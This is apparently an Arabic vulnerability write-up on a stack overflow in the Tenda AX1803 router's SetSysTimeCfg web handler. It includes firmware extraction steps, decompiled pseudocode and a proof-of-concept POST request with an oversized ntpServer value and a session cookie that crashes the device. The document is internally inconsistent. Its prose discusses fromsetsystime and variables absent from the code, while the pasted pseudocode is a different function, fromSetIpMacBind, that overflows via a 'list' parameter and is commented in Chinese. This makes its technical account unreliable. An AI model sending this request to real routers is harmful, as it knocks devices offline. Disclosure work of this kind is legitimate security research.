
تقع الثغرة في نظام الملفات rootfs_ubifs، وتحديدًا في /goform/SetSysTimeCfg داخل /bin/tdhttpd؛ يمكن للمهاجم الوصول إلى http://ip/goform/SetSysTimeCfg ومن خلال تعيين معامل ntpserve يمكن التسبب في تجاوز سعة المخزن المؤقت للمكدس لتحقيق تأثير رفض الخدمة على الموجّه.
أولاً: فك ضغط البرنامج الثابت:
قم بتنزيل البرنامج الثابت من الموقع الرسمي للشركة المصنعة ( https://www.tenda.com.cn/download/detail-3225.html ). نظرًا لأن البرنامج الثابت غير مشفّر، يتم فك ضغط البرنامج الثابت Tenda AX1803 v1.0.0.1_2890 مباشرةً باستخدام أداة binwalk (الأمر: binwalk -Me *.bin) للحصول على نظام ملفات rootfs_ubifs.
تحليل الثغرة:
(ملاحظة: لقطة الشيفرة التالية هي كود شبه اصطناعي بلغة C تم الحصول عليه عن طريق تفكيك وإعادة ترجمة ملف /bin/tdhttpd داخل rootfs_ubifs باستخدام ida7.6_pro_32-bit)
عند الوصول إلى /goform/SetSysTimeCfg، يدخل المستخدم إلى الدالة fromsetsystime للمعالجة. فيما يلي بعض لقطات الكود شبه الاصطناعي والتعليقات الخاصة بالدالة fromsetsystime:



عندما يصل المستخدم إلى http://ip/goform/SetSysTimeCfg، يقوم /bin/tdhttpd في نظام ملفات rootfs_ubifs باستدعاء الدالة fromsetsystime لمعالجة هذا الطلب، ويقوم بتعيين معامل ntpserver المُرسل عبر أسلوب POST إلى المؤشر V4، ثم يدخل في فرع if حتمي (تم كتابة التحليل في التعليقات داخل لقطة الكود شبه الاصطناعي). يوجد كود ثغرة في هذا الفرع: strcpy (& V32 [16], B4). لذلك يمكن تجاوز عنوان إرجاع الدالة بعنوان غير صالح من خلال تعيين معامل ntpserver المُرسل عبر V4، أي إرسال بيانات POST لتجاوز حدود V32، مما يؤدي إلى إعادة تشغيل الموجّه والتسبب في تأثير هجوم رفض الخدمة.
الكود شبه الاصطناعي للدالة fromsetsystime مرفق:
int __fastcall fromSetIpMacBind(int a1)
{
const char *Parameter; // r5
unsigned int v2; // r0
int i; // r4
char *v4; // r0
char *v5; // r11
int v6; // r3
int v7; // r5
int v8; // r2
int v10; // [sp+8h] [bp-440h]
char *nptr; // [sp+10h] [bp-438h]
int v13; // [sp+14h] [bp-434h]
char v14[32]; // [sp+28h] [bp-420h] BYREF
char v15[32]; // [sp+48h] [bp-400h] BYREF
char v16[64]; // [sp+68h] [bp-3E0h] BYREF
char v17[64]; // [sp+A8h] [bp-3A0h] BYREF
char dest[64]; // [sp+E8h] [bp-360h] BYREF
char v19[128]; // [sp+128h] [bp-320h] BYREF
char v20[128]; // [sp+1A8h] [bp-2A0h] BYREF 可以通过设置list参数通过strcpy函数溢出的
栈上变量
char s[256]; // [sp+228h] [bp-220h] BYREF
char v22[288]; // [sp+328h] [bp-120h] BYREF
memset(s, 0, sizeof(s));
memset(v16, 0, sizeof(v16));
memset(v19, 0, sizeof(v19));
nptr = GetParameter(a1, "bindnum", "0");
Parameter = GetParameter(a1, "list", &byte_1E9CC8);// 将访问
ip/goform/SetIpMacBind时post提交的list参数
// 赋值给Parameter变量
GetValue("dhcps.Staticnum", v19);
v13 = atoi(v19);
v2 = atoi(nptr);
v10 = v2;
if ( v2 > 0x20 )
{
printf("staic ip number over %d\n", 32);
goto LABEL_30;
}
for ( i = 1; ; ++i )
{
v6 = Parameter;
if ( Parameter )
v6 = 1;
if ( i > v10 )
v6 = 0;
if ( !v6 )
break;
memset(v20, 0, sizeof(v20));
memset(v17, 0, sizeof(v17));
memset(v22, 0, 0x80u);
memset(v14, 0, sizeof(v14));
memset(v15, 0, sizeof(v15));
memset(dest, 0, sizeof(dest));
v4 = strchr(Parameter, '\n'); // 如果parameter也就是post提交的
list参数中存在换行符,则v4不为零,否则v4为零。
v5 = v4;
if ( v4 ) // v4不为零,也就是提交的list参数中存
在换行符
{
*v4 = 0;
strcpy(v20, Parameter); // 该处strcpy未检验v20边界,故可以通
过Parameter参数来溢出v20的边界以覆盖该函数的返回值,造成设备重启并且达到拒绝服务攻击。
Parameter = v5 + 1;
}
else // v4为零,也就是提交的list参数中无换
行符
{
strcpy(v20, Parameter); // 该处strcpy未检验v20边界,故可以通
过Parameter参数来溢出v20的边界以覆盖该函数的返回值,造成设备重启并且达到拒绝服务攻击。
}
if ( v20[0] == 13 )
{
if ( _isoc99_sscanf(&v20[1], "%17[0-9a-fA-F:]\r%s", v14) != 2 )
goto LABEL_20;
strcpy(dest, &byte_1E9CC8);
}
else if ( _isoc99_sscanf(v20, "%[^\r]\r%[0-9a-fA-F:]\r%s", dest) != 3 )
{
LABEL_20:
v2 = puts("get ip and mac error!");
v6 = 1;
break;
}
printf("%s %d# dev_name=%s,mac_addr=%s,ip_addr=%s\n", "set_mac_bind_list",
543, dest, v14, v15);
sprintf(v17, "dhcps.Staticip%d", i);
sprintf(v22, "%s;%s;0", v15, v14);
v2 = SetValue(v17, v22);
if ( dest[0] )
{
memset(v17, 0, sizeof(v17));
memset(v22, 0, 0x80u);
v2 = sub_62C98(dest, v14);
}
}
v7 = v10 + 1;
if ( i == v10 + 1 )
{
if ( !v6 )
{
puts("set static num sucess!");
v2 = SetValue("dhcps.Staticnum", nptr);
while ( v7 <= v13 )
{
memset(v19, 0, sizeof(v19));
sprintf(v16, "dhcps.Staticip%d", v7);
GetValue(v16, v19);
sprintf(v16, "dhcps.Staticip%d", v7++);
v2 = SetValue(v16, &byte_1E9CC8);
}
goto LABEL_27;
}
LABEL_30:
v8 = 1;
goto LABEL_31;
}
if ( v6 )
goto LABEL_30;
LABEL_27:
if ( sub_8CB38(v2) )
{
memset(v22, 0, 0x100u);
strcpy(v22, "op=200");
send_msg_to_netctrl(19, v22);
}
v8 = 0;
LABEL_31:
sprintf(s, "{\"errCode\":%d}", v8);
return sub_55970(a1, s);
}
POST /goform/SetSysTimeCfg HTTP/1.1
Host: 192.168.10.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: password=bb507bf3973a97a9bf1267699f712550bkcmji
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
ntpServer=a*num
(ملاحظة: يجب أن تكون قيمة num أكبر من 0x134h بايت، أي إذا كان عدد الأحرف المرسلة أكبر من 0x134h، يمكن التسبب في هجوم رفض الخدمة)